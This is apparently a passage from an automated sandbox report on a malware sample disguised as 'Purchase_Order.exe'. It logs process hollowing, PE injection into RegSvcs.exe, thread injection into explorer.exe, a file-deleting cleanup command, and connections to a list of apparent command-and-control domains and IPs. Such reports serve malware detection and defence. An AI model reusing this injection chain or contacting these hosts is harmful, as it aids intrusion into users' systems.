Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05038F6A mov eax, dword ptr fs:[00000030h]	16_2_05038F6A
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FFFE87 mov eax, dword ptr fs:[00000030h]	16_2_04FFFE87
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F8AE73 mov eax, dword ptr fs:[00000030h]	16_2_04F8AE73
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F8AE73 mov eax, dword ptr fs:[00000030h]	16_2_04F8AE73
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F8AE73 mov eax, dword ptr fs:[00000030h]	16_2_04F8AE73
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F8AE73 mov eax, dword ptr fs:[00000030h]	16_2_04F8AE73
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F8AE73 mov eax, dword ptr fs:[00000030h]	16_2_04F8AE73
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F7766D mov eax, dword ptr fs:[00000030h]	16_2_04F7766D
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F77E41 mov eax, dword ptr fs:[00000030h]	16_2_04F77E41
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F77E41 mov eax, dword ptr fs:[00000030h]	16_2_04F77E41
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F77E41 mov eax, dword ptr fs:[00000030h]	16_2_04F77E41
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F77E41 mov eax, dword ptr fs:[00000030h]	16_2_04F77E41
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F77E41 mov eax, dword ptr fs:[00000030h]	16_2_04F77E41
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F77E41 mov eax, dword ptr fs:[00000030h]	16_2_04F77E41
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F6E620 mov eax, dword ptr fs:[00000030h]	16_2_04F6E620
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F9A61C mov eax, dword ptr fs:[00000030h]	16_2_04F9A61C
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F9A61C mov eax, dword ptr fs:[00000030h]	16_2_04F9A61C
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F6C600 mov eax, dword ptr fs:[00000030h]	16_2_04F6C600
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F6C600 mov eax, dword ptr fs:[00000030h]	16_2_04F6C600
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F6C600 mov eax, dword ptr fs:[00000030h]	16_2_04F6C600
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F98E00 mov eax, dword ptr fs:[00000030h]	16_2_04F98E00
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05021608 mov eax, dword ptr fs:[00000030h]	16_2_05021608
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA37F5 mov eax, dword ptr fs:[00000030h]	16_2_04FA37F5
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_0501FE3F mov eax, dword ptr fs:[00000030h]	16_2_0501FE3F
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_0502AE44 mov eax, dword ptr fs:[00000030h]	16_2_0502AE44
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_0502AE44 mov eax, dword ptr fs:[00000030h]	16_2_0502AE44
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F78794 mov eax, dword ptr fs:[00000030h]	16_2_04F78794
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FE7794 mov eax, dword ptr fs:[00000030h]	16_2_04FE7794
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FE7794 mov eax, dword ptr fs:[00000030h]	16_2_04FE7794
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FE7794 mov eax, dword ptr fs:[00000030h]	16_2_04FE7794
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F7FF60 mov eax, dword ptr fs:[00000030h]	16_2_04F7FF60
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05030EA5 mov eax, dword ptr fs:[00000030h]	16_2_05030EA5
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05030EA5 mov eax, dword ptr fs:[00000030h]	16_2_05030EA5
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05030EA5 mov eax, dword ptr fs:[00000030h]	16_2_05030EA5
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F7EF40 mov eax, dword ptr fs:[00000030h]	16_2_04F7EF40
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_0501FEC0 mov eax, dword ptr fs:[00000030h]	16_2_0501FEC0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F8B73D mov eax, dword ptr fs:[00000030h]	16_2_04F8B73D
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F8B73D mov eax, dword ptr fs:[00000030h]	16_2_04F8B73D
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F9E730 mov eax, dword ptr fs:[00000030h]	16_2_04F9E730
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05038ED6 mov eax, dword ptr fs:[00000030h]	16_2_05038ED6
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F64F2E mov eax, dword ptr fs:[00000030h]	16_2_04F64F2E
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F64F2E mov eax, dword ptr fs:[00000030h]	16_2_04F64F2E
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F8F716 mov eax, dword ptr fs:[00000030h]	16_2_04F8F716
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FFFF10 mov eax, dword ptr fs:[00000030h]	16_2_04FFFF10
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FFFF10 mov eax, dword ptr fs:[00000030h]	16_2_04FFFF10
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F9A70E mov eax, dword ptr fs:[00000030h]	16_2_04F9A70E
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F9A70E mov eax, dword ptr fs:[00000030h]	16_2_04F9A70E
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F640E1 mov eax, dword ptr fs:[00000030h]	16_2_04F640E1
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F640E1 mov eax, dword ptr fs:[00000030h]	16_2_04F640E1
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F640E1 mov eax, dword ptr fs:[00000030h]	16_2_04F640E1
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F658EC mov eax, dword ptr fs:[00000030h]	16_2_04F658EC
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F8B8E4 mov eax, dword ptr fs:[00000030h]	16_2_04F8B8E4
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F8B8E4 mov eax, dword ptr fs:[00000030h]	16_2_04F8B8E4
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FFB8D0 mov eax, dword ptr fs:[00000030h]	16_2_04FFB8D0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FFB8D0 mov ecx, dword ptr fs:[00000030h]	16_2_04FFB8D0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FFB8D0 mov eax, dword ptr fs:[00000030h]	16_2_04FFB8D0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FFB8D0 mov eax, dword ptr fs:[00000030h]	16_2_04FFB8D0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FFB8D0 mov eax, dword ptr fs:[00000030h]	16_2_04FFB8D0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FFB8D0 mov eax, dword ptr fs:[00000030h]	16_2_04FFB8D0

Source: C:\Users\user\Desktop\Purchase_Order.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\Purchase_Order.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Network Connect: 213.186.33.5 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.trainup-wall.com
Source: C:\Windows\explorer.exe	Network Connect: 172.67.155.26 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.flockuplabs.com
Source: C:\Windows\explorer.exe	Domain query: www.paolograssino.com
Source: C:\Windows\explorer.exe	Network Connect: 45.140.167.161 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 184.168.131.241 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.toolbnbapp.com
Source: C:\Windows\explorer.exe	Network Connect: 162.241.253.69 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.a-prime-india-demataccount.zone
Source: C:\Windows\explorer.exe	Network Connect: 151.101.0.119 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.21.64.212 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.gorditasdemaiz.com
Source: C:\Windows\explorer.exe	Network Connect: 156.241.53.127 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.cgjanvier.com
Source: C:\Windows\explorer.exe	Domain query: www.prltoday.com
Source: C:\Windows\explorer.exe	Network Connect: 160.16.235.37 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.culturalinterface.net
Source: C:\Windows\explorer.exe	Network Connect: 34.102.136.180 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.mexicobeachselfstorage.com
Source: C:\Windows\explorer.exe	Domain query: www.tylerrucarean.com

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\Purchase_Order.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A

Jump to behavior

Maps a DLL or memory area into another process

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: unknown target: C:\Windows\SysWOW64\systray.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: unknown target: C:\Windows\SysWOW64\systray.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread register set: target process: 3292			Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Thread register set: target process: 3292			Jump to behavior

Queues an APC in another process (thread injection)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Sample uses process hollowing technique

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Section unmapped: C:\Windows\SysWOW64\systray.exe base address: 13B0000

Jump to behavior

Writes to foreign memory regions

Show sources

Source: C:\Users\user\Desktop\Purchase_Order.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: BEF008	Jump to behavior

Source: C:\Users\user\Desktop\Purchase_Order.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe			Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe'			Jump to behavior

Source: explorer.exe, 00000007.00000000.297184858.0000000001400000.00000002.00000001.sdmp, systray.exe, 00000010.00000002.503774536.00000000037D0000.00000002.00000001.sdmp	Binary or memory string: uProgram Manager
Source: explorer.exe, 00000007.00000000.282403163.0000000005F40000.00000004.00000001.sdmp, systray.exe, 00000010.00000002.503774536.00000000037D0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000007.00000000.297184858.0000000001400000.00000002.00000001.sdmp, systray.exe, 00000010.00000002.503774536.00000000037D0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000007.00000000.263828390.0000000000EB8000.00000004.00000020.sdmp	Binary or memory string: ProgmanX
Source: explorer.exe, 00000007.00000000.297184858.0000000001400000.00000002.00000001.sdmp, systray.exe, 00000010.00000002.503774536.00000000037D0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000007.00000000.287548556.0000000008ACF000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWndAj

Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Users\user\Desktop\Purchase_Order.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
